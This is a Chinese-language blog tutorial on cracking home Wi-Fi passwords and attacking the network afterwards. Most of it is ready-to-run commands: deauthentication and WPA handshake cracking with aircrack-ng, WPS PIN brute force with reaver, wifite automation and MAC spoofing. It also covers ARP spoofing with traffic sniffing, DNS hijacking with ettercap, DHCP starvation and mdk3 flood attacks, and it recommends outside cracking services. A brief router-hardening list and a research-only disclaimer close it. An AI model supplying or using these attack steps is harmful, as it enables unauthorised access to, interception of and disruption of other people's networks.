wifi滲透

前言

本文主要講述 家庭家庭家庭中（重要的事情說三遍，企業認證服務器的wifi一般非常非常的安全破解不來）如何破解wifi密碼，破解wifi密碼后的內網滲透利用(簡單說明)，如何設定wifi路由器更安全，從滲透的方面看wifi安全，根據需求選擇觀看

wifi滲透環境的打造

硬體方面

需要支持監聽模式的無線網卡，一般電腦自帶的無線網卡是不支持監聽模式的，需要購買
內置kail驅動 RT3070 RTL8187(推薦使用)
我購買的鏈接如下，用著還行，監聽信號比手機強那么一點點
https://m.tb.cn/h.VGGIItU?sm=0b7bf6

軟體方面

因為wifi破解需要軟體支持，Windows下載麻煩，推薦kali(因為kali自帶很多工具)
因為用到kali，建議使用vmware虛擬機，不建議小白雙系統kali或者Microsoft Store中的kali
vmware下載查看：https://www.52pojie.cn/thread-1026907-1-1.html
注意：無線網卡監聽模式時如果出現vmware卡代碼，監聽時間長就停止的情況建議更換上面這個文章的vmware版本
kali的vm鏡像下載，下載解壓，vmware打開即可使用，下載地址: https://images.offensive-security.com/virtual-images/kali-linux-2020.2a-vmware-amd64.7z?_ga=2.152625529.1921388440.1596879427-46569499.1595490768

vmware和kali和無線網卡基礎知識(選看)

USB無線網卡在kali Linux的使用

1. 先不要開機 先打開服務
   
2. 運行下圖的
   
3. 開機kali后 虛擬機選擇網卡的連接
   
4. ifconfig 查看連接一般名字為wlan,但有肯能無線網卡處于down狀態可用ifconfig -a查看,然后使ifconfig name up即可

無線網卡一般有四種作業模式，即 Managed，Master，Ad-hoc，Monitor，

Managed 模式：該模式用于你的無線客戶端直接與無線接入點（Access Point，即AP）進行接入連接，在這個模式中，我們可以進行無線接入internet上網，無線網卡的驅動程式依賴無線AP管理整個通信程序，
Master 模式：一些無線網卡支持Master模式，這個模式允許無線網卡使用特制的驅動程式和軟體作業，作為其他設備的無線AP，它主要使用于無線接入點AP提供無線接入服務以及路由功能，比如無線路由器就是作業在Master模式下了，對于普通的pc機來說，如果有合適的硬體它也可以變成一臺無線AP，
Ad hoc模式：當你的網路由互相直連的設備組成時，就使用這個模式，在這個模式中，各設備之間采用對等網路的方式進行連接，無線通信雙方共同承擔無線AP的職責，
Monitor 模式：Monitor模式主要用于監控無線網路內部的流量，用于檢查網路和排錯，要使Wireshark捕獲無線資料包，你的無線網卡和配套驅動程式必須支持監聽模式（也叫RFMON模式），

kali橋接網卡上網

參見:https://www.linuxidc.com/Linux/2016-09/135521p3.htm

wifi密碼的破解

因為wep加密已經沒有使用的，非常不安全，就忽略了

最簡單最好用的wifi密碼破解方法

使用wifi萬能鑰匙，騰訊wifi管家等等，其原理就是wifi密碼共享，使用過該軟體會將你的連接過的wifi密碼共享出去，其本身不是破解而是共享制，連接后我們就可以看見密碼了，所以這種破解方法非常的好用，首先推薦

基礎說明airodump-ng

airmon-ng start wlan0     開啟監聽模式
airodump-ng wlan0mon      開始掃描附近wifi

airodump-ng wlan0mon引數：
-w 輸出檔案
--ivs 只保存ivs，不再保存所有無線資料，只是保存可以用于破解的IVS資料報文
-c 指定信道
--bssid 指定路由的bssid也就是MAC地址
--essid 指定路由的essid，可以理解為wifi名稱（不準確）
airodump-ng wlan0mon 掃描引數

BSSID AP的MAC地址
PWR 信號強度接近0信號好
Beacons 無線ap的發送通告，告訴我是誰 周期發送
#Data 抓到的資料包
CH 信道
MB 最大傳輸速度
ENC 加密方法
CIPHER 加密演算法
AUTH 認證協議
ESSID 通指wifi名字 <length： >表示未廣播
STATION 客戶端
RATE 傳輸速率
Lost 最近10秒的丟包數
Frames 來自客戶端的資料
Probes 主動彈出 如果客戶端正試圖連接一個AP但沒有連上，會顯示這里
Aircrack-ng工具包

• aircrack-ng 破解
• airmon-ng 改變網卡作業模式
• airodump-ng 捕獲報文
• aireplay-ng 提供各種攻擊
• airserv-ng 網卡連接到指定埠 用作無限跳板
• airolib-ng 彩虹表破解創建資料庫檔案
• airdecap-ng 解包

WPA破解

指定監聽的wifi
airodump-ng -w [檔案] --bssid [wifibssid] -c [信道最好指定] wlan0mon

管理針攻擊將其他用戶踢下線
aireplay-ng -0 5 -a [路由bssid] -c [客戶端STATION] wlan0mon

管理針攻擊獲得握手包

如果出現錯誤可嘗試
--ignore-negative-one 忽略-1信道
根據握手包暴力破解密碼
aircrack-ng -w [密碼字典] [握手包.cap]



根據握手包破解密碼加速
這里推薦使用windows下GPU加速工具EWSA，還有其他加速方式不過我不怎么推薦，也可以找專業的跑包團隊來跑包
EWSA下載和使用說明地址:https://www.52pojie.cn/thread-989800-1-1.html
找跑包地址：https://www.anywlan.com/forum-134-1.html

ping攻擊 前提路由器開啟wps

8位ping碼，第8位數是校驗碼，只需要破解七位，ping碼分前部分(4位)后部分(3位)，pin認證連接失敗，路由器回傳EAP-NACK資訊，通過回應，能夠確定pin的前部分或后部分是否正確，所以可能性是11000(10⁴⁺¹⁰3),不過考慮信號和路由器的處理性能網卡功率等可能時間會長，如果信號好，網卡，路由器也比較好一般需要6個小時左右
查看開啟wps的wifi

wash -i wlan0mon

reaver -I wlan0mon -b [BSSID] -vv 還可以加其他引數 進行爆破

kali自動化工具wifite

原理：就是上面的命令只不過是自動化了
使用：cmd輸入wifite進入掃描

覺得掃描好了ctrl+c就好，按照序號選擇要破解的wifi即可，根據wifi開啟了啥會進行自動的破解，如果想跳過某個破解方式按ctrl+c即可，如果獲取到握手包自帶的密碼字典沒跑出來，可以去上面提醒的路徑找握手包，用自己的字典跑

突破限制

mac地址限制

掃描查看已連接的客戶機的mac地址將網卡的mac地址改為其即可
先down掉網卡
ifconfig wlan0 down
修改mac地址
macchanger wlan0 -m [需要修改的mac地址，有些網卡可能不支持修改]
啟動網卡
ifconfig wlan0 up

未廣播ssid的wifi

1.等待其他用戶連接，會先詢問ssid
airodump-ng wlan0mon 就能看見
2.將別人踢下線，讓其重連，和抓起握手包一樣，注意信道
aireplay-ng -0 5 -a [路由bssid] -c [客戶端STATION]

連接wifi后的利用(內網滲透)

ARP欺騙

查看內網的主機
nmap -sP 192.168.1.0/24 -v

開啟轉發模式

echo 1 > /proc/sys/net/ipv4/ip_forward

雙向欺騙分別是目標主機ip和網關
arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.106
arpspoof -i eth0 -t 192.168.1.106 -r 192.168.1.1


啟動wireshare查看ip.src =https://www.cnblogs.com/Lmg66/p/= 192.168.1.106，發現欺騙成功可以攔截他的訪問

driftnet -i eth0 監聽圖片

毒化內網用戶無法上網

原理:進行arp欺騙但不進行轉發
echo 0 > /proc/sys/net/ipv4/ip_forward
雙向欺騙
arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.106
arpspoof -i eth0 -t 192.168.1.106 -r 192.168.1.1

dns劫持

目標主機window7 ip地址 192.168.124.128
攻擊機kali ip地址 192.168.124.139
劫持到web服務window10(phpstudy) ip地址 192.168.1.104
修改組態檔nano /etc/ettercap/etter.dns

ettercap -Tq -i eth0 -P dns_spoof /// ///
進行欺騙-i后是無線網卡 ///中加目標主機和網卡，不加就是全部，發現window7被劫持成功，如果安裝殺毒軟體可能劫持不了


如何恢復

ipconfig/flushdns重繪即可

mac地址表泛紅

交換機中有mac地址表記錄連接的pc，攻擊者不斷重繪mac地址來填滿交換機的mac地址表，交換機在mac地址表找不到該用戶只能通過廣播的形式發送，攻擊者就可以截獲資料
交換機設定靜態mac地址系結可預防，非表內請求將全部丟棄

macof -i eth0

dhcp地址耗盡攻擊

路由器分配ip，攻擊者發送大量discover包來獲取ip讓其者無ip使用，無法連接
先安裝
apt-get install yersinia
啟動
yersinia -G

干擾通訊

以下利用前提無線網卡要開啟監聽模式

創建惡意的無線熱點

工具mdk3 mdk3可查看使用說明

mdk3 wlan0mon b -n SSID (-f 可以匯入串列創建多個ssidwifi，不指定則隨機) -c [信道] -w -g -s 100

驗證洪水攻擊(攻擊路由器)

偽造大量的client去連接ap,可導致正在已連接用戶無反應 -a后加交換機ssid

mdk3 wlan0mon a -a FC:D7:33:DE:F3:8A -c  -s 300

強制解除驗證洪水攻擊方式(針對客戶機使其下線，通過模仿管理針)

就是之前抓握手包一樣將別人踢下線

aireplay-ng -0 5 -a [路由bssid] -c [客戶端STATION] wlan0mon

用mdk3針對全網，在攻擊中踢掉線后也無法連接成功

mdk3 wlan0mon d

可-b 加檔案指定mac地址攻擊

如何設定路由器更安全

攻與防御本身就是一場博弈根據上面的攻擊方式我們可以設定路由器是wifi更安全尤其是物聯網的發展，家里的很多東西都要連接網路

1. wifi加密方式采用wpa加密，不用采用wpe加密，如果不懂wps，也不要開啟wps功能
2. wifi密碼要不要使用弱口令
3. 對于常用設備可以進行ip和mac的系結
4. 如果沒有用戶之間相互訪問的需求可以開啟ap隔離
5. 可以設定訪客wifi，防止密碼被泄露
6. 就是選用一些比較好的路由器，防止路由器本身存在漏洞，路由器頁面就是web頁面可能存在漏洞
7. 盡量少使用wifi萬能鑰匙，騰訊wifi管家等，或者使用時找到里面的設定不共享自己的wifi密碼

參考文章

b站：https://www.bilibili.com/video/BV1e7411o7GB?p=1
b站：https://www.bilibili.com/video/BV14z4y1Q7Nb?from=search&seid=10037556429710890008
論壇：https://www.anywlan.com/
等等等很多前輩的文章，沒法都列舉(找不到了)，表示抱歉和感謝
最后歡迎訪問我的個人博客：https://lmg66.github.io/
說明：本文僅限技術研究與討論，嚴禁用于非法用途，否則產生的一切后果自行承擔

標籤：其他

上一篇：NTFS ADS（備用資料流）

下一篇：sql各種姿勢繞waf